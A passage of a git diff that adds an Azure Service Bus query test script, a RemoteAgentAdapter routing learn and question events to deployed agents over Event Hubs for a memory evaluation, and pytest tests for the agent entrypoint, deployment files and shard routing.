try: + self._handle_message(msg) + self._receiver.complete_message(msg) + except Exception: + logger.debug("Error handling message", exc_info=True) + try: + self._receiver.abandon_message(msg) + except Exception: + pass + except Exception: + if self._running: + logger.debug("Error in receive loop", exc_info=True) + time.sleep(0.5) + + def _handle_message(self, msg: Any) -> None: + try: + body = b"".join(msg.body) if hasattr(msg.body, "__iter__") else msg.body + if isinstance(body, (bytes, bytearray)): + body = body.decode("utf-8") + data = json.loads(body) + except Exception: + logger.debug("Failed to parse message body", exc_info=True) + return + + event_type = data.get("event_type", "") + if event_type != "QUERY_RESPONSE": + return + + inner = data.get("payload", {}) + query_id = inner.get("query_id", "") + + with self._pending_lock: + pending = self._pending.get(query_id) + + if pending is None: + return + + responder = inner.get("responder", data.get("source_agent", "?")) + results = inner.get("results", []) + pending["results"].extend(results) + pending["event"].set() + logger.debug( + "Received QUERY_RESPONSE from %s for query_id=%s (%d results)", + responder, + query_id, + len(results), + ) + + +def run_azure_test( + questions: list[str], + connection_string: str, + topic_name: str, + subscription_name: str, + timeout: float, + source_agent: str, +) -> dict[str, Any]: + """Run 10 QUERY events against the live Azure hive and report results.""" + print("=" * 70) + print("QUERY EVENT TEST (Azure Service Bus mode)") + print(f"Topic: {topic_name}") + print(f"Subscription: {subscription_name}") + print(f"Questions: {len(questions)}") + print(f"Timeout per query: {timeout}s") + print("=" * 70) + print() + + client = QueryTestClient( + connection_string=connection_string, + topic_name=topic_name, + subscription_name=subscription_name, + timeout=timeout, + source_agent=source_agent, + ) + + results = [] + passed = 0 + + try: + for i, question in enumerate(questions, 1): + if i > 1: + time.sleep(3) # Brief pause between queries to avoid Service Bus throttling + t0 = time.time() + responses = client.send_query(question) + elapsed = time.time() - t0 + ok = len(responses) > 0 + if ok: + passed += 1 + status = "PASS" if ok else "FAIL" + top = responses[0].get("content", "") if responses else "" + print( + f" Q{i:2d}: {status} ({len(responses):2d} results, {elapsed:.1f}s)" + f" — {question[:45]}" + ) + if top: + print(f" top: {top[:70]}") + results.append( + { + "question": question, + "passed": ok, + "response_count": len(responses), + "elapsed_s": round(elapsed, 2), + "top_result": top, + } + ) + finally: + client.close() + + print() + print(f"Results: {passed}/{len(questions)} passed") + + return { + "mode": "azure_service_bus", + "topic": topic_name, + "passed": passed, + "total": len(questions), + "questions": results, + } + + +# --------------------------------------------------------------------------- +# CLI +# --------------------------------------------------------------------------- + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Send 10 QUERY events to the hive and verify QUERY_RESPONSE replies." + ) + parser.add_argument( + "--dry-run", + action="store_true", + help="Use local in-process bus (no Azure required)", + ) + parser.add_argument( + "--topic", + default=os.environ.get("AMPLIHACK_TOPIC_NAME", "hive-graph"), + help="Service Bus topic name (default: hive-graph)", + ) + parser.add_argument( + "--subscription", + default=os.environ.get("QUERY_RESPONSE_SUBSCRIPTION", "eval-query-agent"), + help="Subscription for receiving responses (default: eval-query-agent)", + ) + parser.add_argument( + "--timeout", + type=float, + default=float(os.environ.get("QUERY_TIMEOUT", "15")), + help="Seconds to wait per query (default: 15)", + ) + parser.add_argument( + "--source-agent", + default=os.environ.get("AMPLIHACK_SOURCE_AGENT", "query-test-client"), + help="Source agent identifier (default: query-test-client)", + ) + parser.add_argument( + "--output", + default="", + help="Path to write JSON results", + ) + parser.add_argument( + "--verbose", "-v", + action="store_true", + help="Enable debug logging", + ) + args = parser.parse_args() + + if args.verbose: + logging.getLogger().setLevel(logging.DEBUG) + + if args.dry_run: + results = run_local_test(_TEST_QUESTIONS) + else: + connection_string = os.environ.get("AMPLIHACK_MEMORY_CONNECTION_STRING", "") + if not connection_string: + logger.error( + "AMPLIHACK_MEMORY_CONNECTION_STRING env var is required for live test.\n" + "Use --dry-run for local testing." + ) + return 1 + results = run_azure_test( + questions=_TEST_QUESTIONS, + connection_string=connection_string, + topic_name=args.topic, + subscription_name=args.subscription, + timeout=args.timeout, + source_agent=args.source_agent, + ) + + if args.output: + with open(args.output, "w") as fh: + json.dump(results, fh, indent=2) + print(f"\nResults written to: {args.output}") + + passed = results.get("passed", 0) + total = results.get("total", len(_TEST_QUESTIONS)) + return 0 if passed > 0 else 1 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/deploy/azure_hive/remote_agent_adapter.py b/deploy/azure_hive/remote_agent_adapter.py new file mode 100644 index 000000000..df886cddc --- /dev/null +++ b/deploy/azure_hive/remote_agent_adapter.py @@ -0,0 +1,367 @@ +"""RemoteAgentAdapter — makes a deployed Azure Container Apps agent look like a local agent. + +Implements the same interface as LearningAgent (learn_from_content, answer_question) +so it can be passed directly to LongHorizonMemoryEval.run(). The eval harness +uses the exact same code path for local and distributed agents. + +Transport: Azure Event Hubs (CBS-free AMQP — works reliably in Container Apps). + - learn_from_content() sends LEARN_CONTENT events via EH producer, + partition_key=target_agent for consistent routing. + - answer_question() sends INPUT events via EH producer, + waits for EVAL_ANSWER on the eval-responses Event Hub. + - _wait_for_agents_idle() sends FEED_COMPLETE to all agents and waits + for N AGENT_READY events on the eval-responses hub. + +Content is partitioned round-robin across agents (each agent learns N/agent_count turns). +Questions are targeted to specific agents via target_agent field. +Answers are collected from the eval-responses Event Hub, correlated by event_id. +""" + +from __future__ import annotations + +import json +import logging +import threading +import time +import uuid +from typing import Any + +logger = logging.getLogger(__name__) + + +class RemoteAgentAdapter: + """Adapter that forwards learn/answer calls to deployed agents via Event Hubs.""" + + def __init__( + self, + connection_string: str, + input_hub: str, + response_hub: str, + agent_count: int = 100, + resource_group: str = "", + answer_timeout: int = 0, + ) -> None: + self._connection_string = connection_string + self._input_hub = input_hub + self._response_hub = response_hub + self._resource_group = resource_group + self._agent_count = agent_count + + self._learn_count = 0 + self._question_count = 0 + self._answer_timeout = answer_timeout + self._shutdown = threading.Event() + self._idle_wait_done = threading.Event() + + # Thread safety for counters and answer dict + self._counter_lock = threading.Lock() + self._answer_lock = threading.Lock() + + # Pending answers: event_id -> answer text + self._pending_answers: dict[str, str] = {} + self._answer_events: dict[str, threading.Event] = {} + + # AGENT_READY tracking for _wait_for_agents_idle + self._ready_agents: set[str] = set() + self._ready_lock = threading.Lock() + self._all_agents_ready = threading.Event() + + # Unique run_id to filter stale events from previous eval runs + self._run_id = uuid.uuid4().hex[:12] + + # Listener liveness flag — fail fast if listener can't connect + self._listener_alive = threading.Event() + + self._listener_thread = threading.Thread(target=self._listen_for_answers, daemon=True) + self._listener_thread.start() + + # Wait up to 30s for listener to connect + if not self._listener_alive.wait(timeout=30): + raise RuntimeError( + f"Failed to connect to response hub '{response_hub}'. " + "Check that the Event Hub and consumer group 'eval-reader' exist." + ) + + logger.info( + "RemoteAgentAdapter: input=%s response=%s agents=%d run_id=%s", + input_hub, + response_hub, + agent_count, + self._run_id, + ) + + def _publish_event(self, payload: dict, partition_key: str) -> None: + """Publish a single JSON event to the input Event Hub.""" + from azure.eventhub import ( # type: ignore[import-unresolved] + EventData, + EventHubProducerClient, + ) + + payload["run_id"] = self._run_id + + producer = EventHubProducerClient.from_connection_string( + self._connection_string, eventhub_name=self._input_hub + ) + try: + with producer: + batch = producer.create_batch(partition_key=partition_key) + batch.add(EventData(json.dumps(payload))) + producer.send_batch(batch) + except Exception: + logger.warning("EH publish failed, retrying once", exc_info=True) + producer2 = EventHubProducerClient.from_connection_string( + self._connection_string, eventhub_name=self._input_hub + ) + try: + with producer2: + batch = producer2.create_batch(partition_key=partition_key) + batch.add(EventData(json.dumps(payload))) + producer2.send_batch(batch) + except Exception: + logger.error( + "EH publish failed after retry (event_type=%s)", + payload.get("event_type", "?"), + exc_info=True, + ) + raise + + def learn_from_content(self, content: str) -> dict[str, Any]: + """Send content to one agent (round-robin partition). + + 5000 turns / N agents = ~(5000/N) turns each. Each agent learns its + partition locally. The hive mind shares knowledge between agents + so any agent can answer questions about any content. + """ + event_id = uuid.uuid4().hex[:12] + with self._counter_lock: + target_agent = self._learn_count % self._agent_count + self._learn_count += 1 + learn_count = self._learn_count + target_name = f"agent-{target_agent}" + + self._publish_event( + { + "event_type": "LEARN_CONTENT", + "event_id": event_id, + "target_agent": target_name, + "source_agent": "eval-harness", + "payload": { + "content": content, + "target_agent": target_name, + }, + }, + partition_key=target_name, + ) + + if learn_count % 500 == 0: + logger.info( + "RemoteAgentAdapter: sent %d content turns (%d per agent)", + learn_count, + learn_count // max(1, self._agent_count), + ) + + return {"facts_stored": 1, "event_id": event_id} + + def answer_question(self, question: str) -> str: + """Send question to one agent, wait for answer. No timeout.""" + # Wait for agents to finish processing content (blocks all threads) + if self._learn_count > 0 and not self._idle_wait_done.is_set(): + with self._counter_lock: + if not self._idle_wait_done.is_set(): + self._wait_for_agents_idle() + self._idle_wait_done.set() + + with self._counter_lock: + target_agent = self._question_count % self._agent_count + self._question_count += 1 + + event_id = uuid.uuid4().hex[:12] + target_name = f"agent-{target_agent}" + + # Register signal before sending + answer_event = threading.Event() + with self._answer_lock: + self._answer_events[event_id] = answer_event + + self._publish_event( + { + "event_type": "INPUT", + "event_id": event_id, + "target_agent": target_name, + "source_agent": "eval-harness", + "payload": { + "question": question, + "question_id": f"q_{target_agent}_{event_id}", + "target_agent": target_name, + }, + }, + partition_key=target_name, + ) + + logger.info( + "RemoteAgentAdapter: sent question to %s (event_id=%s): %s", + target_name, + event_id, + question[:60], + ) + + timeout = self._answer_timeout if self._answer_timeout > 0 else None + got_answer = answer_event.wait(timeout=timeout) + if not got_answer: + logger.warning( + "answer_question: timeout after %ds waiting for event_id=%s", + self._answer_timeout, + event_id, + ) + + with self._answer_lock: + answer = self._pending_answers.pop(event_id, "No answer received") + self._answer_events.pop(event_id, None) + + return answer + + def _wait_for_agents_idle(self) -> None: + """Wait for all agents to finish processing content. + + Sends FEED_COMPLETE to every agent, then waits for each to publish + AGENT_READY on the eval-responses hub. Event-driven — no polling. + """ + logger.info( + "Sending FEED_COMPLETE to all %d agents (%d content turns each)...", + self._agent_count, + self._learn_count // max(1, self._agent_count), + ) + + # Reset ready tracking + with self._ready_lock: + self._ready_agents.clear() + self._all_agents_ready.clear() + + # Send FEED_COMPLETE to each agent + for i in range(self._agent_count): + target_name = f"agent-{i}" + self._publish_event( + { + "event_type": "FEED_COMPLETE", + "event_id": uuid.uuid4().hex[:12], + "target_agent": target_name, + "source_agent": "eval-harness", + "payload": { + "total_turns": self._learn_count // max(1, self._agent_count), + "target_agent": target_name, + }, + }, + partition_key=target_name, + ) + + logger.info( + "Waiting for %d AGENT_READY events on '%s'...", + self._agent_count, + self._response_hub, + ) + + # Wait for all agents to report ready (no timeout — eval is not time-bound) + poll_interval = 15 + while True: + with self._ready_lock: + ready_count = len(self._ready_agents) + if ready_count >= self._agent_count: + logger.info("All %d agents ready. Starting question phase.", self._agent_count) + return + logger.info(" %d/%d agents ready, waiting...", ready_count, self._agent_count) + time.sleep(poll_interval) + + def _listen_for_answers(self) -> None: + """Background thread: collect EVAL_ANSWER and AGENT_READY events from eval-responses hub.""" + try: + from azure.eventhub import EventHubConsumerClient # type: ignore[import-unresolved] + except ImportError: + logger.error("azure-eventhub not installed — RemoteAgentAdapter cannot receive answers") + return + + def _on_event(partition_context: Any, event: Any) -> None: + if event is None: + return + try: + body = json.loads(event.body_as_str()) + event_type = body.get("event_type", "") + + # Filter stale events from previous eval runs + run_id = body.get("run_id", "") + if run_id and run_id != self._run_id: + return + + if event_type == "AGENT_READY": + agent_id = body.get("agent_id", "") + if agent_id: + with self._ready_lock: + self._ready_agents.add(agent_id) + ready_count = len(self._ready_agents) + logger.info( + "RemoteAgentAdapter: AGENT_READY from %s (%d/%d)", + agent_id, + ready_count, + self._agent_count, + ) + if hasattr(partition_context, "update_checkpoint"): + partition_context.update_checkpoint(event) + return + + if event_type == "EVAL_ANSWER": + event_id = body.get("event_id", "") + answer = body.get("answer", "") + + with self._answer_lock: + if event_id in self._answer_events: + self._pending_answers[event_id] = answer + self._answer_events[event_id].set() + logger.info( + "RemoteAgentAdapter: got answer for %s from %s: %s", + event_id, + body.get("agent_id", "?"), + answer[:80] if answer else "(empty)", + ) + else: + logger.warning( + "RemoteAgentAdapter: answer for unknown event_id=%s (stale?)", + event_id, + ) + + if hasattr(partition_context, "update_checkpoint"): + partition_context.update_checkpoint(event) + except Exception: + logger.debug("Failed to parse response message", exc_info=True) + + consumer = EventHubConsumerClient.from_connection_string( + self._connection_string, + consumer_group="eval-reader", + eventhub_name=self._response_hub, + ) + self._listener_alive.set() + logger.info("RemoteAgentAdapter: listening on '%s' (eval-reader)", self._response_hub) + + try: + consumer.receive(on_event=_on_event, starting_position="@latest") + except Exception: + if not self._shutdown.is_set(): + logger.debug("Response listener error", exc_info=True) + finally: + try: + consumer.close() + except Exception: + pass + + def get_memory_stats(self) -> dict[str, Any]: + """Return adapter stats.""" + return { + "adapter": "remote", + "learn_count": self._learn_count, + "question_count": self._question_count, + "agent_count": self._agent_count, + } + + def close(self) -> None: + """Clean up Event Hubs connections.""" + self._shutdown.set() + if self._listener_thread.is_alive(): + self._listener_thread.join(timeout=5) diff --git a/deploy/azure_hive/tests/__init__.py b/deploy/azure_hive/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/deploy/azure_hive/tests/test_agent_entrypoint.py b/deploy/azure_hive/tests/test_agent_entrypoint.py new file mode 100644 index 000000000..b7eb72c87 --- /dev/null +++ b/deploy/azure_hive/tests/test_agent_entrypoint.py @@ -0,0 +1,542 @@ +"""Tests for agent_entrypoint.py.""" + +from __future__ import annotations + +import importlib.util +import os +import threading +import time +from pathlib import Path +from unittest.mock import MagicMock, patch + +import pytest # type: ignore[import-unresolved] + +# Load agent_entrypoint as a module (not installed as package) +_ENTRYPOINT_PATH = Path(__file__).parent.parent / "agent_entrypoint.py" + + +def _load_entrypoint(): + spec = importlib.util.spec_from_file_location("agent_entrypoint", _ENTRYPOINT_PATH) + assert spec is not None and spec.loader is not None + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod + + +class TestAgentEntrypoint: + def test_entrypoint_file_exists(self): + assert _ENTRYPOINT_PATH.exists() + + def test_entrypoint_has_main(self): + mod = _load_entrypoint() + assert hasattr(mod, "main") + assert callable(mod.main) + + def test_missing_agent_name_exits_1(self, monkeypatch): + monkeypatch.delenv("AMPLIHACK_AGENT_NAME", raising=False) + mod = _load_entrypoint() + with pytest.raises(SystemExit) as exc_info: + mod.main() + assert exc_info.value.code == 1 + + def test_main_initializes_learning_agent(self, monkeypatch, tmp_path): + monkeypatch.setenv("AMPLIHACK_AGENT_NAME", "test-agent") + monkeypatch.setenv("AMPLIHACK_MEMORY_TRANSPORT", "local") + monkeypatch.setenv("AMPLIHACK_MEMORY_STORAGE_PATH", str(tmp_path / "test-agent")) + + mock_memory_instance = MagicMock() + mock_memory_instance.stats.return_value = {"fact_count": 0} + + mock_learning_agent = MagicMock() + + # Make the OODA loop exit after one iteration + call_count = [0] + + def fast_sleep(secs): + call_count[0] += 1 + if call_count[0] > 2: + raise KeyboardInterrupt + + mod = _load_entrypoint() + + with patch("amplihack.memory.facade.Memory", return_value=mock_memory_instance): + with patch( + "amplihack.agents.goal_seeking.learning_agent.LearningAgent", + return_value=mock_learning_agent, + ): + with patch.object(mod, "_ooda_tick"): + with patch("time.sleep", side_effect=fast_sleep): + try: + mod.main() + except (KeyboardInterrupt, SystemExit): + pass + + # LearningAgent should have been used for initial context (not memory.remember) + mock_learning_agent.learn_from_content.assert_called() + mock_memory_instance.remember.assert_not_called() + + def test_ooda_tick_logs_stats_every_10_ticks(self, monkeypatch): + mod = _load_entrypoint() + mock_mem = MagicMock() + mock_mem.stats.return_value = {"fact_count": 5} + mock_agent = MagicMock() + + # Tick 0 should call stats + mod._ooda_tick("agent", mock_mem, 0, mock_agent) + mock_mem.stats.assert_called_once() + + # Tick 5 should NOT call stats + mock_mem.stats.reset_mock() + mod._ooda_tick("agent", mock_mem, 5, mock_agent) + mock_mem.stats.assert_not_called() + + # Tick 10 should call stats again + mod._ooda_tick("agent", mock_mem, 10, mock_agent) + mock_mem.stats.assert_called_once() + + # memory.recall should never be called (replaced by LearningAgent) + mock_mem.recall.assert_not_called() + + def test_handle_query_event_uses_agent_process(self): + """QUERY events feed input text to agent.process() via OODA loop.""" + mod = _load_entrypoint() + mock_mem = MagicMock() + + mock_agent = MagicMock() + mock_agent.process.return_value = "42 is the answer" + + query_event = { + "event_type": "QUERY", + "payload": {"query_id": "qid-1", "question": "What is 6 times 7?"}, + } + mod._handle_event("agent", query_event, mock_mem, mock_agent) + + mock_agent.process.assert_called_once_with("What is 6 times 7?") + mock_mem.recall.assert_not_called() + + def test_handle_learn_content_uses_agent_process(self): + """LEARN_CONTENT events feed content to agent.process() via OODA loop.""" + mod = _load_entrypoint() + mock_mem = MagicMock() + mock_agent = MagicMock() + + learn_event = { + "event_type": "LEARN_CONTENT", + "payload": {"turn": 1, "content": "The sky is blue."}, + } + mod._handle_event("agent", learn_event, mock_mem, mock_agent) + + mock_agent.process.assert_called_once_with("The sky is blue.") + mock_mem.remember.assert_not_called() + + def test_handle_event_passes_learning_agent_from_ooda_tick(self): + """_ooda_tick forwards the learning_agent to _handle_event; memory.recall never called.""" + mod = _load_entrypoint() + mock_mem = MagicMock() + mock_mem.receive_events.return_value = [ + {"event_type": "QUERY", "payload": {"query_id": "q1", "question": "test?"}} + ] + mock_mem.receive_query_events.return_value = [] + + mock_agent = MagicMock() + mock_agent.process.return_value = "test answer" + + mod._ooda_tick("agent", mock_mem, 5, mock_agent) + + # The OODA tick calls agent.process() via _handle_event + mock_agent.process.assert_called_once_with("test?") + # memory.recall must never be called — LearningAgent handles all recall + mock_mem.recall.assert_not_called() + + +class TestDockerfile: + def test_dockerfile_exists(self): + dockerfile = Path(__file__).parent.parent / "Dockerfile" + assert dockerfile.exists() + + def test_dockerfile_has_python_base(self): + dockerfile = Path(__file__).parent.parent / "Dockerfile" + content = dockerfile.read_text() + assert "python:3.11-slim" in content + + def test_dockerfile_has_non_root_user(self): + dockerfile = Path(__file__).parent.parent / "Dockerfile" + content = dockerfile.read_text() + assert "useradd" in content + assert "USER amplihack-agent" in content + + def test_dockerfile_installs_kuzu(self): + dockerfile = Path(__file__).parent.parent / "Dockerfile" + content = dockerfile.read_text() + assert "kuzu" in content + + def test_dockerfile_installs_sentence_transformers(self): + dockerfile = Path(__file__).parent.parent / "Dockerfile" + content = dockerfile.read_text() + assert "sentence-transformers" in content + + def test_dockerfile_has_entrypoint(self): + dockerfile = Path(__file__).parent.parent / "Dockerfile" + content = dockerfile.read_text() + assert "agent_entrypoint.py" in content + + +class TestDeployScript: + def test_deploy_sh_exists(self): + deploy_sh = Path(__file__).parent.parent / "deploy.sh" + assert deploy_sh.exists() + + def test_deploy_sh_is_executable(self): + deploy_sh = Path(__file__).parent.parent / "deploy.sh" + assert os.access(deploy_sh, os.X_OK) + + def test_deploy_sh_provisions_event_hubs(self): + deploy_sh = Path(__file__).parent.parent / "deploy.sh" + content = deploy_sh.read_text() + assert ( + "EventHub" in content + or "eventhub" in content.lower() + or "event_hub" in content.lower() + or "azure_event_hubs" in content.lower() + ) + + def test_deploy_sh_provisions_acr(self): + deploy_sh = Path(__file__).parent.parent / "deploy.sh" + content = deploy_sh.read_text() + assert "acr" in content.lower() or "ContainerRegistry" in content + + def test_deploy_sh_uses_emptydir_volumes(self): + """Deploy uses EmptyDir volumes (Kuzu needs POSIX locks, not Azure Files SMB).""" + deploy_sh = Path(__file__).parent.parent / "deploy.sh" + content = deploy_sh.read_text() + assert "EmptyDir" in content or "emptydir" in content.lower() + + def test_deploy_sh_has_container_apps(self): + deploy_sh = Path(__file__).parent.parent / "deploy.sh" + content = deploy_sh.read_text() + assert "containerapp" in content.lower() or "Container App" in content + + def test_deploy_sh_groups_5_agents_per_app(self): + deploy_sh = Path(__file__).parent.parent / "deploy.sh" + content = deploy_sh.read_text() + assert "AGENTS_PER_APP" in content + + def test_deploy_sh_has_cleanup_mode(self): + deploy_sh = Path(__file__).parent.parent / "deploy.sh" + content = deploy_sh.read_text() + assert "--cleanup" in content + + +class TestBicep: + def test_bicep_exists(self): + bicep = Path(__file__).parent.parent / "main.bicep" + assert bicep.exists() + + def test_bicep_has_container_apps_env(self): + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "managedEnvironments" in content + + def test_bicep_has_event_hubs(self): + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "EventHub" in content or "eventhub" in content.lower() + + def test_bicep_uses_emptydir_volumes(self): + """Bicep uses EmptyDir volumes (Kuzu needs POSIX locks, not Azure Files SMB).""" + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "EmptyDir" in content + + def test_bicep_has_container_registry(self): + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "ContainerRegistry" in content + + def test_bicep_has_agent_count_param(self): + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "agentCount" in content + + def test_bicep_has_agents_per_app_param(self): + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "agentsPerApp" in content + + def test_bicep_references_eh_connection_string(self): + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "AMPLIHACK_EH_CONNECTION_STRING" in content + + def test_bicep_has_shards_hub(self): + """Bicep must declare hive-shards Event Hub for cross-shard DHT queries.""" + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "hive-shards-" in content + + def test_bicep_has_shards_consumer_groups(self): + """Bicep must declare per-agent consumer groups on the shards hub.""" + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "ehShardsConsumerGroups" in content + + def test_bicep_has_eval_responses_hub(self): + """Bicep must declare eval-responses Event Hub for eval answer collection.""" + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "eval-responses-" in content + + def test_bicep_no_service_bus(self): + """Bicep must NOT reference Service Bus — CBS auth fails in Container Apps.""" + bicep = Path(__file__).parent.parent / "main.bicep" + content = bicep.read_text() + assert "Microsoft.ServiceBus" not in content + + +class TestShardTransport: + """Tests for EventHubsShardTransport DI pattern (injected into DistributedHiveGraph).""" + + def test_entrypoint_has_no_sharded_hive_store(self): + """ShardedHiveStore class must not exist in the updated entrypoint.""" + mod = _load_entrypoint() + assert not hasattr(mod, "ShardedHiveStore"), ( + "ShardedHiveStore was deleted in v7 DI refactor — should not be present" + ) + + def test_init_dht_hive_exists(self): + """_init_dht_hive function must exist and return 3 values on success.""" + mod = _load_entrypoint() + assert hasattr(mod, "_init_dht_hive") + assert callable(mod._init_dht_hive) + + def test_init_dht_hive_returns_none_without_eh_vars(self): + """_init_dht_hive returns None when EH env vars are absent (no SB fallback).""" + mod = _load_entrypoint() + result = mod._init_dht_hive( + agent_name="agent-0", + agent_count=1, + connection_string="", + hive_name="test-hive", + eh_connection_string="", + eh_name="", + ) + assert result is None, "Must return None without EH vars — no Service Bus fallback" + + def test_handle_shard_query_publishes_response(self): + """EH transport handle_shard_query looks up local shard and publishes SHARD_RESPONSE.""" + from unittest.mock import patch + + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, + EventHubsShardTransport, + ) + from amplihack.agents.goal_seeking.hive_mind.event_bus import BusEvent + from amplihack.agents.goal_seeking.hive_mind.hive_graph import HiveFact + + # Use _start_receiving=False to skip background EH consumer thread + transport_0 = EventHubsShardTransport( + connection_string="dummy://", eventhub_name="hive-shards", + agent_id="agent-0", _start_receiving=False, + ) + transport_req = EventHubsShardTransport( + connection_string="dummy://", eventhub_name="hive-shards", + agent_id="requester", _start_receiving=False, + ) + + graph = DistributedHiveGraph( + hive_id="test-e-hq", enable_gossip=False, transport=transport_0 + ) + graph.register_agent("agent-0") + graph.promote_fact( + "agent-0", + HiveFact( + fact_id="", + content="Paris is the capital of France", + concept="geography", + confidence=0.9, + source_agent="agent-0", + tags=["geo"], + created_at=0.0, + ), + ) + + # Intercept _publish calls and inject into requester's mailbox + published: list[dict] = [] + + def mock_publish(payload, partition_key=None): + published.append(payload) + evt = BusEvent( + event_id=payload.get("event_id", ""), + event_type=payload["event_type"], + source_agent=payload.get("source_agent", ""), + timestamp=payload.get("timestamp", 0.0), + payload=payload["payload"], + ) + with transport_req._mailbox_lock: + transport_req._mailbox.append(evt) + transport_req._mailbox_ready.set() + + transport_0._publish = mock_publish + + event = MagicMock() + event.payload = {"query": "capital France", "limit": 5, "correlation_id": "corr-1", + "target_agent": "agent-0"} + transport_0.handle_shard_query(event) + + with transport_req._mailbox_lock: + responses = [e for e in transport_req._mailbox if e.event_type == "SHARD_RESPONSE"] + assert len(responses) == 1 + assert responses[0].payload["correlation_id"] == "corr-1" + assert any("Paris" in f["content"] for f in responses[0].payload["facts"]) + + def test_handle_shard_response_wakes_pending_query(self): + """EH transport handle_shard_response signals threading.Event.""" + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + EventHubsShardTransport, + ) + + transport = EventHubsShardTransport( + connection_string="dummy://", eventhub_name="hive-shards", + agent_id="agent-0", _start_receiving=False, + ) + + done_event = threading.Event() + results = [] + with transport._pending_lock: + transport._pending["corr-2"] = (done_event, results) + + event = MagicMock() + event.payload = { + "correlation_id": "corr-2", + "facts": [{"content": "test fact", "confidence": 0.9}], + } + transport.handle_shard_response(event) + + assert done_event.is_set() + assert len(results) == 1 + assert results[0]["content"] == "test fact" + + def test_promote_fact_stores_locally_no_publish(self): + """promote_fact stores in local shard only — no EH publish.""" + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, + EventHubsShardTransport, + ) + from amplihack.agents.goal_seeking.hive_mind.hive_graph import HiveFact + + transport = EventHubsShardTransport( + connection_string="dummy://", eventhub_name="hive-shards", + agent_id="agent-0", _start_receiving=False, + ) + published: list[dict] = [] + transport._publish = lambda payload, partition_key=None: published.append(payload) + + graph = DistributedHiveGraph( + hive_id="test-promote-local", enable_gossip=False, transport=transport + ) + graph.register_agent("agent-0") + + graph.promote_fact( + "agent-0", + HiveFact( + fact_id="", + content="Local fact no replication", + concept="test", + confidence=0.8, + source_agent="agent-0", + tags=[], + created_at=0.0, + ), + ) + + assert published == [], "Local store must not publish to EH" + + +class TestShardQueryListener: + """Tests for the background _shard_query_listener thread (DI pattern). + + The listener takes a transport (EventHubsShardTransport) injected via DI. + """ + + def test_listener_exits_on_shutdown(self): + """Listener thread exits when shutdown_event is set.""" + mod = _load_entrypoint() + + mock_transport = MagicMock() + mock_bus = MagicMock() + mock_bus.poll.return_value = [] + + shutdown = threading.Event() + shutdown.set() # Immediately signal shutdown + + # Should exit quickly without hanging + mod._shard_query_listener(mock_transport, "agent-0", mock_bus, shutdown) + + def test_listener_handles_shard_query_events(self): + """Listener dispatches SHARD_QUERY events to transport.handle_shard_query.""" + mod = _load_entrypoint() + + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + query_event = make_event( + event_type="SHARD_QUERY", + source_agent="requester", + payload={"query": "test", "limit": 5, "correlation_id": "corr-x"}, + ) + + call_count = [0] + mock_transport = MagicMock() + mock_bus = MagicMock() + mock_bus.poll.side_effect = lambda _: [query_event] if call_count[0] == 0 else [] + + shutdown = threading.Event() + + def stop(): + time.sleep(0.05) + shutdown.set() + + t = threading.Thread(target=stop) + t.start() + + mod._shard_query_listener(mock_transport, "agent-0", mock_bus, shutdown) + t.join() + + mock_transport.handle_shard_query.assert_called() + + def test_listener_handles_shard_response_events(self): + """Listener dispatches SHARD_RESPONSE events to transport.handle_shard_response.""" + mod = _load_entrypoint() + + from amplihack.agents.goal_seeking.hive_mind.event_bus import make_event + + response_event = make_event( + event_type="SHARD_RESPONSE", + source_agent="agent-1", + payload={"correlation_id": "corr-y", "facts": []}, + ) + + mock_transport = MagicMock() + mock_bus = MagicMock() + call_count = [0] + + def poll_side_effect(_): + call_count[0] += 1 + if call_count[0] == 1: + return [response_event] + return [] + + mock_bus.poll.side_effect = poll_side_effect + + shutdown = threading.Event() + + def stop(): + time.sleep(0.05) + shutdown.set() + + t = threading.Thread(target=stop) + t.start() + + mod._shard_query_listener(mock_transport, "agent-0", mock_bus, shutdown) + t.join() + + mock_transport.handle_shard_response.assert_called() diff --git a/deploy/azure_hive/tests/test_partition_routing.py b/deploy/azure_hive/tests/test_partition_routing.py new file mode 100644 index 000000000..af68554b4 --- /dev/null +++ b/deploy/azure_hive/tests/test_partition_routing.py @@ -0,0 +1,433 @@ +"""Tests for partition routing and event handling in distributed_hive_graph.py and agent_entrypoint.py.""" + +from __future__ import annotations + +import importlib.util +import sys +from pathlib import Path +from unittest.mock import MagicMock, patch + +import pytest # type: ignore[import-unresolved] + +# ---- distributed_hive_graph ---- +# We need to import it properly +sys.path.insert(0, str(Path(__file__).parent.parent.parent / "src")) + +from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + EventHubsShardTransport, +) + +# ---- agent_entrypoint ---- +_ENTRYPOINT_PATH = Path(__file__).parent.parent / "agent_entrypoint.py" + + +def _load_entrypoint(): + spec = importlib.util.spec_from_file_location("agent_entrypoint", _ENTRYPOINT_PATH) + assert spec is not None and spec.loader is not None + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + return mod + + +# =========================================================================== +# EventHubsShardTransport — partition routing +# =========================================================================== + + +class TestAgentIndex: + """EventHubsShardTransport._agent_index() static method.""" + + def test_standard_agent_name(self): + assert EventHubsShardTransport._agent_index("agent-0") == 0 + assert EventHubsShardTransport._agent_index("agent-42") == 42 + assert EventHubsShardTransport._agent_index("agent-99") == 99 + + def test_multi_hyphen_name(self): + # rsplit("-", 1) takes the last segment + assert EventHubsShardTransport._agent_index("hive-agent-7") == 7 + + def 